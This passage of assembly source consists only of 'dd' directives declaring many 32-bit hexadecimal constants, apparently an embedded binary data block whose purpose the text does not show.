dd 0E6303C8h, 8EC4049Dh, 85F92003h, 0A8BC7D73h, 0F5CBC5h dd 0BE3FE655h, 2F3EA075h, 98350F00h, 0AA8882A5h, 1AD7BCAh dd 0F161F459h, 25F6D334h, 7E088048h, 0FB8C41B9h, 315609C7h dd 0BC073206h, 669AB0B6h, 0C31E50B8h, 0C200B769h, 0ABA0C1C8h dd 51E60775h, 0C00C77AAh, 44C5D713h, 9B7BB1E8h, 3F7E0817h dd 0F04768E0h, 8324000Bh, 38DB4501h, 0B9A0D8E6h, 1E009431h dd 0E391C993h, 3B1633ADh, 90002B0Ah, 0B99618F3h, 6600F881h dd 2D38B0FAh, 0C5352Eh, 0A8ECBCA6h, 0ED2F5818h, 662C0C00h dd 331D2901h, 20234DA9h, 10481300h, 891FEAA0h, 456B7B03h dd 0E0277111h, 171C2D6Ch, 0A0BEC9BBh, 8600D4E9h, 40A15018h dd 1624F6h, 327CA7FCh, 9546705h, 5E3B651Dh, 98F69C00h dd 3D83D788h, 0D10F6BF7h, 6979A636h, 98A07EB4h, 0D6760724h dd 0B0A9826Dh, 98504B9Fh, 7004CB00h, 963ACCCDh, 5BAD00B5h dd 0E7C6170Ah, 46000C37h, 0B6D64D2Bh, 1F57BBCAh, 7909621Bh dd 5CFC1200h, 5E8394A2h, 0CD969C00h, 0BEC37636h, 0F9FE78h dd 0E9563380h, 2BA1E241h, 3ED79200h, 42EAE19Dh, 0E7BE0F54h dd 80A06685h, 337D8235h, 7CF2F500h, 604C36A1h, 0B5840958h dd 0C080ED89h, 9B28A25Bh, 53871F00h, 56722086h, 90D300A7h dd 1B0FD2Ah, 0D200F3ECh, 0D54103DBh, 4ADD6Fh, 52FF72EBh dd 58DA3D26h, 1701FB00h, 2E1A67F3h, 36DC0053h, 193B8FF0h dd 0D4A026D7h, 76120602h, 0A500A68Ch, 7CFC18E3h, 4A1B0009h dd 542EE12Ch, 0D1C81CBh, 97808D83h, 199ED55h, 0CC0B0019h dd 2C6E9428h, 0B45C264Fh, 0E77A00FBh, 50535FD2h, 0B7730Ah dd 2CB2790Dh, 0EBC9F288h, 380048F6h, 65838166h, 9BFD09h dd 0D73BE3B1h, 0F2DC67ECh, 330685Ch, 0B8128C5Fh, 35190036h dd 1B9072B5h, 98796EF0h dd 0C600387Ah, 7F88B101h, 1DD95A18h, 0C0D5C875h, 11D6F202h dd 0D700D4D8h, 0E8F51415h, 26ECB3E4h, 151EA08h, 3FABEBDFh dd 46C4FC7Fh, 0DA53ED00h, 0BC4B5589h, 747803BDh, 0C61CDBE8h dd 31BEDF90h, 70BCD00h, 2D7E15D5h, 416239E5h, 13811678h dd 0C2121E74h, 2E06B734h, 274CCF60h, 8065043Eh, 4837183Eh dd 4AA012Dh, 7D5D9640h, 0CF7CE0BEh, 900CDE00h, 8A27DB5Bh dd 484496Ch, 0F0641Fh, 0EB589469h, 48F4B966h, 0F38C3100h dd 0F595D75Eh, 94CA0C71h, 0BB107506h, 4E73EB00h, 2ADC5293h dd 0EEA07232h, 1C8A4C9Fh, 8CB04300h, 19E2C359h, 0D3D02C00h dd 9E895081h, 0F90248E4h, 4C2D6A00h, 0A27F49Fh, 0AEDBB800h dd 11E5A522h, 98A93DF9h, 87E60E8Fh, 46C3D660h, 8B7A58CFh dd 9907F4B8h, 0AF4ADE47h, 9A1583C0h, 260A002Dh, 0FC72E2EBh dd 973CEAFFh, 999D0082h, 1D55D63h, 31410037h, 0CC526266h dd 5C783D64h, 1F2F2470h, 2747C3Eh, 3003A6D0h, 63955C68h dd 7BDFC400h, 0FCA166CCh, 40B0F9h, 0EDFF34F7h, 0BE5CCF32h dd 82732C03h, 0E872531Ch, 0D62079h, 8E45EEF9h, 4995C4Fh dd 0EBB42C03h, 83E87052h, 0C7110743h, 0B0A4A0ADh, 41DAE082h dd 942459h, 0D0AA25F4h, 511BFEh, 2833723h, 0FF297147h dd 0A5B40B01h, 6A25724Bh, 739FF0h, 0F2567F85h, 0A23A6880h dd 8976AD39h, 80B399A1h, 0AEBA8B8Ch, 0D6E60233h, 0E8C439D2h dd 0B212B850h, 0ACC00BEAh, 4960BD66h, 0C700D816h, 0F5EE501Dh dd 0E801B2CCh, 75B1A98Eh, 208E4D68h, 7D40AB61h, 6DAF7963h dd 0BE9DB600h, 3B8A6C1Bh, 0F2B90160h, 0D650486Ah, 313FE885h dd 0E0E4A82Eh, 728CC400h, 5C8AAF9h, 6587294Bh, 97D580D8h dd 0A900A160h, 9E0B2656h, 75D4EBh, 42F464ECh, 0DB1B421h dd 0E206600h, 0AA95AC85h, 0A4050A4Ch, 0F03024h, 81BC8CD7h dd 0E5008764h, 767F7932h, 259E8CCh, 29182BB5h, 57406BC0h dd 6E98F80Fh, 108F9F14h, 0C2890288h, 60D3DDCEh, 0D6AF0Ah dd 0EFB87A60h, 0E00A9E12h, 0DF0FCBAh, 0B931473Eh, 4C498008h dd 0B0EE5564h, 115032FBh, 85605B10h, 3090203Fh, 0AF948000h dd 0A68ABD9h, 0A860C0D0h, 66296BA9h, 0C86D3Ah, 0D150574Eh dd 73D3A9Dh, 0CC7AC98Eh, 97C01002h, 10603CA2h, 3AD32DA9h dd 66110076h, 0D1137F21h, 1B0F9206h, 2CA68ABBh, 0F230864h dd 0F90BEB56h, 8D07ED80h, 0DC07F1C7h, 0B7B462E1h, 5E905757h dd 0C228B68Bh, 0AD2574A8h, 2E8EB720h, 8FB80169h, 94CF3FC9h dd 0DB0C30D8h, 0A5584271h, 0F3FF00A1h, 120BF82Dh, 6D3001A9h dd 0D046FCC2h, 2C74C8B1h, 0A7006C92h, 0BE7FB725h, 75FBA7Ah dd 6402ABFAh, 92801E41h, 54961B5Ch, 1FE0D100h, 0EBC3ED19h dd 7D3606C5h, 10EE28AAh, 0D9BA2101h, 8509A17Eh, 0BC6EC4h dd 50DC6CFBh, 3645B77Ch, 0C8CCF301h, 42E2B7Eh, 0F011038h dd 1D639276h, 49888048h, 0AE621C60h, 30FD00D6h, 960197D8h dd 0D21DE6B4h, 351E53EFh, 682AB640h, 33E8ACh, 0E1778528h dd 2F4C92D6h, 96001073h, 0BFB318CBh, 62E3BA5Ch, 31807003h dd 0D82E6852h, 0AF2618CFh, 0A4964300h, 3114934h, 0AB406AD0h dd 9FC2AFh, 0BB247FC7h, 74A82216h, 49275B00h, 392BF338h dd 8A01D3B7h, 0E3C8CF7Dh, 30EBE5BCh, 87005284h, 694CA026h dd 735788F1h, 7E5C3AA8h, 0EC2B9F80h, 0ADD0359Ch, 4700F078h dd 3099FC15h, 5B6318h, 2E59F223h, 60A1EA19h, 586D3C01h dd 122C79Fh, 0E521AE4h, 9CEBAF4Bh, 0EFD3DA05h, 66BB3700h dd 0E916C7Ah, 853BFB89h, 0E18E3860h, 0E5007745h, 5D97B8DCh dd 46F41Fh, 1865DD8Bh, 3BD50987h, 0CCB4DB00h, 0A54EF906h dd 0FF3100B2h, 57A0C37Ah, 20005BF6h, 8FB3EEA6h, 0AA211Fh dd 0F5F98099h, 350FBBACh, 2DB4F401h, 967A2E6Eh, 939FD4h dd 6644C1A2h, 0D3CB8E3Bh, 1ED64C0Fh, 886D00FAh, 0DCE468h dd 0CD5125AAh, 0A8A29608h, 0E4B2F02Eh, 35BAE600h, 0FA159F0Ch dd 0AD05007Dh, 1C19B6F3h, 6E98B790h, 0AFEED900h, 0B97D408Ch dd 96F80042h, 56BA947Ah, 10005909h, 0A4A33679h, 3D4236Eh dd 0B25679Fh, 0B5939BDEh, 43EDD180h, 11798900h, 75566841h dd 7B740F80h, 530048E8h, 3140BD2Eh, 1EDCF00h, 0B7CE4698h dd 0E6A53914h, 736A81D0h, 8AEF0005h, 2D5E71EBh, 0A700AC1Ah dd 0E0125B60h, 824793h, 35EDFDE9h, 5E21341Bh, 16969A00h dd 0F6DCF717h, 60E29Dh, 5CD7A211h, 0C8A413C6h, 281C5A7Eh dd 3E4044D6h, 98157BBCh, 8563009Dh, 0F3192959h, 9F0017DCh dd 6896EC08h, 6034D0A8h, 0E3395913h, 41008EB8h, 0C0802F7Eh dd 1F3C7Ah, 0B33ECB42h, 14EE1C2Bh, 0CF55C300h, 0A44756E5h dd 812E00D8h, 5E33537Dh, 0BE0015ECh, 0C93B0183h, 0EFAA907h dd 0A0D49FB2h, 47438E00h, 3E00D7C5h, 0E7FEC64Fh, 924DAEh dd 62B3B63Fh, 17FB0D34h, 70200700h, 2E509658h, 6DC90099h dd 388E719Dh, 1F008423h, 0F2ECD5B6h, 7250E37Ah, 5DA407FFh dd 0A0CAC5A9h, 0E72CE6F8h, 5406D403h, 0F178FBA5h, 218E9620h dd 49C7D3F9h, 0FDC1C0BAh, 0B0004EDAh, 0C8515DC3h, 7B1173AEh dd 12FE08Bh, 99137845h, 0D8F2CB55h, 8801C558h, 0F1E8A4D7h dd 39606CF5h, 0A9FEF4h, 9C256961h, 76C3E21Fh, 0C066F600h dd 0BE8B12C4h, 921300C7h, 9310C8B5h, 6901AF46h, 0C2942A7Fh dd 81408D62h, 1CEB25Eh, 0B9D677C3h, 0D19F7D5Bh, 0DA087054h dd 44277F00h, 0F2AFF7F9h, 71EA7FE9h, 0BED807E3h, 4039DED1h dd 54C00578h, 850FA600h, 55E0712Dh, 0F9E095AAh, 8019A27h dd 6BE1C7Eh, 3ED40BF6h, 0B9500117h, 0EBDF44DAh, 672ADCD2h dd 0A97FA703h, 0F8130DFCh, 0C115CA6h, 0FB636898h, 4F0E6FD8h dd 0E03B2977h, 43BB305Eh, 0C36C0011h, 0F2010F24h, 0ED1C233Fh dd 664116E2h, 0A6A11AFAh, 0F5C3EF4h, 0C18F77Fh, 368F4A66h dd 0E790BC0Fh, 18F4BE9Fh, 0A8D59C80h, 0D42A1CECh, 0DAA103F1h dd 0FFE8A558h, 0AC00E295h, 9FC72907h, 0C53B0Ch, 8C32AEFh dd 729CBA7Fh, 63E0A403h, 0C0D35DB8h, 414B95h, 0DB65754h dd 0CB71CFD0h, 8CEAC30h, 0FD12C9h, 8D31EF4h, 0F295DEB8h dd 47661C00h, 6B327BCCh, 4F5AC1FBh, 0DDB6D1F8h, 0E48CF0B4h dd 0C075610Fh, 0E576208Ah, 0E83A4604h, 49A900EDh, 4EA2F14Fh dd 0A00ED595h, 0EFFD424Ah, 2FFE4355h, 37A8E0B2h, 8C4901AEh dd 8FA6B368h, 9210806Fh, 63AF43Eh, 2CA91C6Ch, 0E4E8CEh dd 76250E41h, 79FCDC71h, 0EFDF6E00h, 0A8BB040Fh, 68BF0E4Fh dd 540B314h, 669C6415h, 7FF63Eh, 7E2D484Ah, 4C1E9521h dd 0FA009A51h, 0A816E5A4h, 4700993Eh, 0A09E8603h, 0E511589h dd 100B8529h, 3440439Eh, 91CBEC84h, 0FE751100h, 0F8590DABh dd 10E509EDh, 1000CD55h, 0D358685Dh, 0F46AC538h, 878FD73Dh dd 1D8836E3h, 9EDE2E50h, 4AC600E8h, 0EF98A037h, 0BE00119Ch dd 0D927843Ch, 0FF1B813h, 31D768EAh, 12F8A745h, 619A03DCh dd 0E0C7C6BDh, 409CF5B9h, 0CC9F5A00h, 0E8FC5586h, 2F850027h dd 2C716D63h, 0A00ED4Fh, 47D961C8h, 1FF15B32h, 8027B9E1h dd 74445D82h, 0D1016EAFh, 0CCA8C32Fh, 48C0FBCBh, 206803EEh dd 852BB29Bh, 4E1898A8h, 7BA73707h, 0E9C0FEh, 0D8F48A84h dd 0DAE00030h, 0C9CF01C4h, 4100D2F5h, 3BADF8EDh, 61E147h dd 0B2137D2Fh, 0C159321h, 3B61B00h, 368B10C2h, 0B327056Dh dd 0C0429233h, 63294547h dd 805D8F3Fh, 0A754EBFBh, 7C9B85Ch, 4AE83E2Eh, 90E5C08Ch dd 0DE0AAD0Bh, 181C287Eh, 0A0205990h, 3AE888F4h, 9234B700h dd 0B87EB1E6h, 0B0E0E593h, 570F0C0Ah, 0B97869C3h, 0E641DF04h dd 0F491A7ABh, 48BA7619h, 373B4880h, 5363E27Bh, 0A6285100h dd 5DD3479Bh, 7698010Dh, 0B5A7754Bh, 36CBE8C7h, 29384600h dd 5B662425h, 0F4BD002Fh, 20E4AEA7h, 0DE0AB107h, 5C602862h dd 80207590h, 3D9F3B3Ah, 69501B31h, 59460020h, 9CA57164h dd 7900A4D9h, 8037D6F5h, 0F8096C38h, 22941F33h, 512080C3h dd 0D62BABAAh, 77A7D700h, 8AF1B417h, 0F5C3EB3h, 7EAC780h dd 0DE9891CFh, 0A568EB0Fh, 70FA74F2h, 4900DD75h, 0D17C4F08h dd 709C3Dh, 6076D00Fh, 5ED50EF1h, 0C33D13FAh, 68CD97DFh dd 3C068600h, 41288h, 3402211h, 61BC0B9Eh, 82E5EF1Ch, 0B4315AC0h dd 2EBF89F0h, 44135Eh, 79B62FE3h, 0DD1D5F7Bh, 88455BCDh dd 47BBC11h, 11B85518h, 0B1286784h, 963EBC71h, 0EA8300D8h dd 0FA37865Ah, 0B66301E4h, 5EA62994h, 0F088F112h, 239F3E0h dd 9EAC05B1h, 2C0036C7h, 40BEDD21h, 8E50C476h, 995C20C1h dd 299C606Ch, 582BD003h, 6A3D80A0h, 0B0154900h, 1051A9EBh dd 7A943F91h, 0ABCC283h, 61141D36h, 1060BD49h, 4E038A22h dd 78FC394Ah, 14D61801h, 46F95A1Eh, 538AEBF8h, 3010707Bh dd 0E150008Dh, 4B4F3CCBh, 9F3F181Eh, 59C0E8BCh, 7F68680h dd 0B45B3EFAh, 995F018Eh, 4F20DE6Dh, 0FFECD3BBh, 3F4C4Ch dd 5AE60FB8h, 0D9128B61h, 2CBC6240h, 21C574D8h, 1F4B0194h dd 8349CA6Ah, 5EE035A8h, 18387CE3h, 184BA992h, 6F20984Fh dd 540390F3h, 0CD694A5h, 0BF36DA78h, 0D5019C51h, 0EF34AC74h dd 0D270EA17h, 0A8E4E816h, 0CAFE8Ch, 0FDD81574h, 0A9F7BFAh dd 81083148h, 0B704C098h, 37A28C40h, 0FC4B50E2h, 40F96FEDh dd 0D3EC5BA1h, 0F131800Eh, 99C39F24h, 37FC7FFFh, 6A088490h dd 2CD08088h, 0DBF1E49Fh, 50029200h, 0EBE560D9h, 0A7B445Ah dd 51193331h, 0A9BAB538h, 9D0B03FCh, 0E99318C0h, 0B9677AD8h dd 0B6624706h, 29EE39h, 0AEC0B48Ah, 950815BCh, 3700997Dh dd 7AC13182h, 30F26C22h, 0F61EBD2h, 840029E5h, 48F3344Bh dd 5430257Dh, 8CC1A4B3h, 0A374DA04h, 0EF62F734h, 74F39B20h dd 7A8400B7h, 1025EABh, 31DCBB1h, 0C9C48BE5h, 86009EE4h dd 0BA683748h, 91B47A1Eh, 45808B80h, 31032C3h, 0D348560h dd 0B0BF3018h, 94F86315h, 82FAB417h, 0CCA04900h, 76C4B21Ah dd 9F8A00DDh, 30DEFFCDh, 6300B3E1h, 5E7751DFh, 792D39h dd 0B1433103h, 3B69E9D0h, 0EFDA2801h, 18E39A90h, 0E7C2F0h dd 5EE4ED9h, 0FCCC502Ch, 0F7721300h, 0ADA50BF4h, 93190010h dd 0F5AF392Dh, 7500DE5Ah, 5D59CAE8h, 102C72Ch, 84AA6BA0h dd 0F0C95026h, 18C0273Dh, 0FDAF93F6h, 132A02A4h, 47F23B03h dd 0AACB46E0h, 0ABC9F000h, 0D5196D86h, 0E7D7032h, 0FB839F3Dh dd 21FCAA83h, 801907Ch, 0F540B2A3h, 19801C73h, 0DFDEBC37h dd 97207D8h, 2FEC700h, 5E0E8839h, 4241005Bh, 1DF5E482h dd 10069F4Bh, 0A9522535h, 453D1878h, 7DA56102h, 0A06DBF30h dd 9ADDA1h, 2EC41129h, 0ABCEE5B6h, 9B8C2554h, 8200AA7Bh dd 3D40EEECh, 0F65CF2h, 1042A1AFh, 0CE2A33B4h, 2CA08100h dd 0D32218FEh, 0BAB1C0C3h, 0CE97BD57h, 6158300h, 4CD28666h dd 637100D9h, 30946D69h, 8900055Ch, 7A0B8F84h, 755EB7h dd 0D9D1D656h, 12DA8A3Ah, 1AFD4C00h, 92B59CD3h, 40610005h dd 1E8C90D6h, 88265049h, 0B07488Ah, 5FE19874h, 25F8BEAFh dd 3A29007Fh, 0E96CC439h, 957944FEh, 1B714D00h, 49368D08h dd 0E0565A5Dh, 541E6605h, 3B6864h, 0D1152CE1h, 63FFC5h dd 16FC469Eh, 31F4F649h, 76EFD300h, 505614DFh, 0E4880087h dd 724A645Ah, 4D00F869h, 8A24CCD7h, 0B85F1A7Ah, 18D10012h dd 4C382040h, 97752775h, 0A2BA4A00h, 90F046DFh, 0EB9F0065h dd 0C57A1142h, 69F852C6h, 0F653C700h, 255CE06h, 3122000Fh dd 45ED8CA1h, 60F8BFFAh, 66098400h, 7E7A70BEh, 8B720058h dd 9715488Ch, 0F9008AC4h, 1FD8CF28h, 19BDC906h, 2879985Fh dd 0ED7F0887h, 6E10E412h, 8351C85Eh, 0FE6ADE41h, 0CC101002h dd 0DF29C867h, 88583047h, 44883C5Ch, 84DB9069h, 915C92AFh dd 64A92819h, 0AA19D742h, 9342990h, 532882E6h, 757F228Dh dd 3C02A025h, 67A14EFh, 2B00292Fh, 50535BBCh, 0D87BE0h dd 3F8FBF51h, 2368B554h, 8C4CA01Dh, 80D05C0Fh, 894A2536h dd 0BE31003Dh, 59340884h, 1000CDDh, 0C89EAB4Eh, 0D3627h dd 60545ECBh, 6FD46AF2h, 229DF100h, 944F059Bh, 0D235002Ch dd 38680F09h, 2D00EABDh, 0B34AAAAEh, 38C96654h, 238032ACh dd 0B9E85C42h, 3600CBBBh, 0D0B0AB4Ch, 58051550h, 0EA00EE29h dd 0DCC59B1Bh, 4458B266h, 954004Bh, 2E782916h, 0DEA61h dd 226AA399h, 0CBF598A4h, 0A89DB800h, 56776D88h, 2E063D14h dd 100973Eh, 852F9057h, 6200385Fh, 0ABB1B743h, 1165D5h dd 54D2CBA4h, 0F4B5C87Bh, 958D5103h, 40D6Ch, 0E09DC518h dd 0A4F94B1Ch, 0CE6064B0h, 8FFEB561h, 26230797h, 108B1379h dd 0F3FA647h, 95434C00h, 8698F7DCh, 884B3A56h, 14009B3Eh dd 0BBDF3EFEh, 7C0FF920h, 4FE5AF57h, 0A6128352h, 2C1B98D7h dd 9B0100E8h, 0E406F6Ch, 918C4AAh, 0A2106E35h, 49802C88h dd 173F0068h, 2DC23191h, 0D40F42EAh, 46BA321Dh, 38415E11h dd 1806B07h, 6EA076B7h, 19003543h, 309C58CFh, 95638Eh dd 64F0ED0Dh, 0E8B23E47h, 0C45A2A05h, 0EA80AAC0h, 7E3E00Ch dd 8DC5835Dh, 0D543087h, 5B00F2D8h, 822DF9CCh, 0E8A780h dd 0E0495883h, 5AF8481h, 28EF1030h, 0C0CAE16h, 30639EADh dd 3F008A70h, 55B6DCE0h, 7B2C29h, 84978D1Eh, 4E30A83Ah dd 33C1D400h, 4CACB41h, 0D5C80094h, 0F1A4DE37h, 0DB3C2603h dd 0F7B902F9h, 0E08B1418h, 627E05Ah, 0D2FB0BECh, 0AF0B8EDh dd 0AEBF6B00h, 740DB133h, 186C00A8h, 19FBA1D0h, 0FC00A027h dd 0C2B826D3h, 30BEDE41h, 0D5AA6FA9h, 501E3E3Ah, 8D00D8E4h dd 43D4BA0Ch, 628E03BFh, 4AE9F981h, 8BA57DD8h, 0BAF66800h dd 5DC08287h, 643A0B88h, 0F0802714h, 1F1504BCh, 1D0E4401h dd 7A9E2CB9h, 0C755709Dh, 606B4503h, 54331B74h, 0F197E3Ch dd 6F0C9h, 4A836653h, 2FBF1D4Dh, 9AA90B16h, 0E41F2200h dd 0AB003E34h, 0CA069BA6h, 0FF6C24h, 0EDECCC6Ah, 755B66A5h dd 2BA87002h, 0C3D0D102h, 589CE03Fh, 3188001Dh, 0B08C04B8h dd 110030C1h, 0CB55DFACh, 4BEBE6h, 0CFE91338h, 37CD946Eh dd 0E3001F72h, 70C44C08h, 0CFE69h, 17073C3Ah, 0EEB7C6E4h dd 0ED2B4A00h, 0D1DE276Fh, 3DE2001Ch, 3AD37BAh, 84002150h dd 4C25C7BEh, 13018ED6h, 2D8D0A4h, 798AEF4Bh, 60E19C80h dd 0EB003EA5h, 945CB695h, 0B566D78h, 4FB77E73h, 6A7D0580h dd 0AA007C1Ah, 7277BDE3h, 45A7E5h, 48B9190Ch, 5B2B377Bh dd 6F8EEA00h, 0EBAB8655h, 93E0E8h, 80684825h, 0F7D21309h dd 0AC055174h, 8C81E122h, 0F1BC1F80h, 0EBDE3A2Dh, 2CE36E03h dd 51C086E7h, 3300E25Ah, 56EAFAD9h, 0EF4B668h, 0C3F378Ah dd 5E7C1720h, 4B1C29EDh, 73402E91h, 0D2502863h, 6282004Eh dd 5EF720Bh, 0FFF2553Dh, 0A29DF400h, 0D2D3E161h, 71B893h dd 0C0BACC5Dh dd 1F790D94h, 0F821E500h, 0D40B3CACh, 16E8E6h, 0A41E1C9Dh dd 23D38842h, 0D80450C0h, 0BE74E1h, 6DEDA819h, 11F0FD5Ch dd 42B5EF00h, 0BDB671B7h, 0D7CC00B4h, 6E393B5Fh, 0DB0F329Ah dd 0CE2866h, 0B391823Ch, 9F873DCBh, 0D78AE780h, 676BD02Ch dd 9900E0E6h, 0FCD4D133h, 7DC0B8B2h, 9E7700A7h, 1B4EC88Ch dd 6A00DA10h, 2C2EF19Ch, 2E292B9Fh, 307925Ah, 3EFA883Ch dd 9CD8A088h, 0F8C57700h, 0AABE2370h, 860E04F2h, 814EDDC6h dd 204C938Eh, 91E908h, 755A4D00h, 0B8B5709Ch, 707FE477h dd 45430368h, 569425C2h, 7A4EC4D8h, 5F2E1D00h, 42213054h dd 0B20F1C43h, 17668251h, 840840Dh, 8B0108E0h, 0B86C4725h dd 0C420413Dh, 7779049h, 0F66694FCh, 0BF88B054h, 733FD8BCh dd 0F9CC80Ch, 18F4686h, 4DE8D429h, 75C0EFC8h, 79F2002Ch dd 5B828BF0h, 5C1DB1B6h, 19C06C85h, 0B7382ED5h, 0D4FA0096h dd 79573EB0h, 1700138Ah, 3BDA912h, 0E0E7D1h, 0AE6DA73Bh dd 75AD38E4h, 331EA800h, 30115946h, 278D1CD1h, 0EAB98008h dd 57BD0EE6h, 5A16400h, 0A3A96DB2h, 0F01D0960h, 0A8828B03h dd 70682502h, 40008F9Ch, 8D06BDB4h, 0E808032Eh, 9EFCEF31h dd 97274CDh, 9CC7321Bh, 2687D480h, 42008C53h, 0DA85E8A5h dd 2CC8B3DCh, 1E5E6543h, 48A985C3h, 0E8F500D3h, 455C2AA0h dd 1A874700h, 8A11D5C6h, 167EEBBh, 247531BCh, 41BDFFAAh dd 3083A2C0h, 0D20014C0h, 58696FF5h, 165C8DF6h, 7B2AF7Dh dd 904E3AD9h, 0BE489C05h, 1A95341Eh, 0CDBCE880h, 3F24A838h dd 3D00FBF6h, 79DAE71Bh, 5A00659Ch, 3EE01AC7h, 0BB35F9Bh dd 9DD9B1F7h, 0CC1C9B80h, 0B00C044h, 4A2FDDC9h, 0B0E38651h dd 4CDF7AE8h, 7333CAh, 0DFD52FFh, 0C47ADE98h, 990CFA00h dd 932856EEh, 17720001h, 4D7B873h, 2D002449h, 45FBFA20h dd 35C8848h, 5A03628Fh, 59807D1Eh, 98609Dh, 0A766B701h dd 6F7EBF4Eh, 796AE0h, 49B1178Eh, 41940FFAh, 0E41D3Ah dd 0B00B1E74h, 0C947B3h, 0FFCF67A8h, 5BAD1C83h, 5843D024h dd 84669500h, 2D3B0BCh, 0AECB3C9h, 8055A16Ah, 95BF36D5h dd 5DE07EFh, 80DCAAABh, 3258100Dh, 7D8C4E53h, 0BA8EC113h dd 4927FF00h, 431A92h, 0ADAE0E57h, 366BE512h, 0E7F48F00h dd 3830DF6Ch, 7D6100EFh, 9C4837BFh, 630355B0h, 92196946h dd 0E4CCA0C0h, 91EB0E2Dh, 8740E094h, 753F46A5h, 94676D2Ah dd 0A609E830h, 90F01541h, 0C73F00BCh, 0C339FAFEh, 0A03A162Ah dd 194200C0h, 13634DF4h, 9B910EDEh, 0B487D63Bh, 79E41AEh dd 6D8260A9h, 87944D54h, 0D811E026h, 9020CD97h, 98DF3810h dd 0F13B0060h, 680FCAF2h, 0F37D0885h, 459042E0h, 5FD0B01Ch dd 0E9EA1240h, 12AA5155h, 4D29693h, 54824BA8h, 16DF1EC9h dd 183D0F00h, 2842E7E8h, 0ECECEDDh, 0BA108D71h, 0A7928500h dd 0CD078BBFh, 0AF412AFCh, 3A0B804Bh, 3B391773h, 6B00FECBh dd 5EEE0351h, 0F5006797h, 5058FFC1h, 0A2CFD8h, 95386011h dd 8B9FAD4Dh, 0B0D66C01h, 0D57E0C8Ch, 0FA57F9E4h, 42A00E9h dd 0CCEFFDC6h, 0A2008667h, 0C901058Ch, 3DE784DBh, 0DCC83722h dd 6BF43B0Ch, 10EAF770h, 1C440B00h, 86455212h, 146D3A64h dd 0A3A76E00h, 0EF23CFA4h, 0F100C9E8h, 0C4FAA2E9h, 0B8C7B642h dd 6A5C0087h, 0E2139BB0h, 0D500484Ah, 6356F47Eh, 2CD344BFh dd 7A539Dh, 4BA41628h, 0CB584662h, 0AC261765h, 19E11F01h dd 2CC0BEDh, 7F0B852h, 77424816h, 80BC50F3h, 0A13DC371h dd 3E630FB4h, 0C83D8C4Dh, 0D5FEAEh, 0D2A79692h, 889BCD67h dd 0ED2B3F28h, 0D0FE2200h, 0B6406CDAh, 5E67003Dh, 0CF8899B1h dd 6100CC43h, 740DC0A6h, 0B6FAAh, 583BAE03h, 283EA8A7h dd 3112550Fh, 2B6AE02Dh, 0AB770Ah, 0EABECF4Fh, 2E32C6BBh dd 6B13C100h, 18F0F9CEh, 16DD0F8Bh, 76029205h, 0C2C06EE0h dd 0AA09CB52h, 82EC3Bh, 846BBC24h, 6D400B2h, 69BB4F87h dd 0BE0D5938h, 2C625433h, 76A6088Eh, 3F0905A0h, 1492E655h dd 0CE18610Dh, 7FFC6846h, 0E2D3017Ah, 480DB131h, 2714E4E0h dd 76AA000h, 1E6DA682h, 571F0097h, 0DAD1F4B1h, 0D71F868Ch dd 83036EFAh, 0C0A5B60Dh, 0A6A8452h, 0C28F6231h, 680407DAh dd 0DC102393h, 2813B82Ch, 72545940h, 0F08B7AACh, 67310A96h dd 0AAC7E93h, 2484EFFCh, 0E6900BFh, 2F630B59h, 80046539h dd 0C2D47A7Ch, 16B388FFh, 1311BDF0h, 0D20C008Fh, 907E24F2h dd 91C52700h, 64CF803Bh, 1C483C15h, 8535CB8Bh, 0D077B707h dd 0AFEFB991h, 766AD858h, 1C7BD62Eh, 0A95F0D02h, 468781C6h dd 71E00AC1h, 2D12007Eh, 2F3C947Bh, 36739678h, 200F560Eh dd 2A198175h, 7A70405Bh, 83E71D47h, 624181D1h, 85B33EF3h dd 67A4FCA0h, 78A11CC0h, 46F6001Dh, 3CDAFF7Ah, 2400DC1Ah dd 0BCD1372Fh, 3F203650h, 0C4807352h, 0C395544Ah, 0B3187840h dd 0D7C55CFh, 0FB3300CEh, 97FE58D9h, 0EC136987h, 9000ACA3h dd 0DDFACFF2h, 0E3EE009Eh, 0FCD62B96h, 0A8B0763Ch, 2E34DB05h dd 0AC011EBEh, 9E5921BFh, 0E729070h, 0F623547Ah, 6F37DD81h dd 0FC32300Ch, 3F0055F6h, 5C596A1Ah, 0E0DE12B7h, 9D73001Eh dd 8E83D4BFh, 0E300D0BBh, 33088084h, 7E4A23DBh, 99962670h dd 1EFC00F8h, 8253C7DCh, 0E4F85907h, 0AFD0D7E8h, 1332B4h dd 52B257DBh, 0BBB00F42h, 1D1C8148h, 0AAC4E224h, 0D8C09D22h dd 1C04E020h, 17EA3F50h, 8D218DCh, 0BB124D2Bh, 0C00B17Ch dd 0B9EC9D70h, 879C0167h, 0B36DE0D2h, 0A658D45Fh, 4780E48h dd 19C964C0h, 0D31BFB01h, 9BBC60F4h, 2CC2301Ch, 1500767Ah dd 41994DB2h, 0B4D57Fh, 7684103Eh, 29863A90h, 0E9784500h dd 31774F2Ch, 880D307Ch, 56F08EB8h, 0C90F6690h, 835CA76Fh dd 0A00110F3h, 0F67DF8DCh, 7E9900FAh, 0C725B559h, 91FA416Ah dd 0E38F7600h, 0D6E46D3h, 664201C6h, 120ED4AAh, 43CA80BDh dd 83FACE82h, 7D07093h, 9036FFFh, 5D7EE0D6h, 7A02E9B7h dd 0BA855CD8h, 483EC187h, 0F537988Bh, 0BADC4A1h, 7F6D893h dd 1C40A14Eh, 39D8DF4Bh, 87311D8Bh, 0C9D41F41h, 7582925Ah dd 87C0CFACh, 3E00DB07h, 0F4C3ADF9h, 0FAEDFCh, 0BEBCEA6h dd 0D3DFB2CFh, 23AB0F00h, 104AE802h, 0C0AA004Eh, 3F011FB9h dd 69388F5Ah, 98A8B2AEh, 488C44B0h, 0B5514490h, 16850C8h dd 0E31B6E83h, 0C517FB77h, 6F0BE0F5h, 0DBC1CA12h, 308B7000h dd 26785057h, 0AE06D61h, 2865C4h, 40DDF30Eh, 3300F112h dd 431C60A9h, 0E0A6D88h, 0F5ECB685h, 18078FD4h, 0C07136CCh dd 20E18D02h, 0D0507E01h, 0A0CB6534h, 0CA2CA880h, 0C12A120Dh dd 29005990h, 821A25C8h, 0F7631D2h, 3E09FA9Eh, 0D10EDD00h dd 1803FEBFh, 10E6F78Dh, 605A0ECh, 2DA01E1h, 1999175Dh dd 0B33C7095h, 0E23ED601h, 0E6FAD950h, 0E0001838h, 1611D034h dd 645C1A1Ch, 40C71D4Ch, 0D5D2AC40h, 2E92E13h, 3F8D48E3h dd 0AC89EFB7h, 5DA71800h, 631D4A81h, 41443909h, 4C808D28h dd 0D6BDA2h, 0CB848382h, 202DDBC5h, 0A7977A00h, 885B5C56h dd 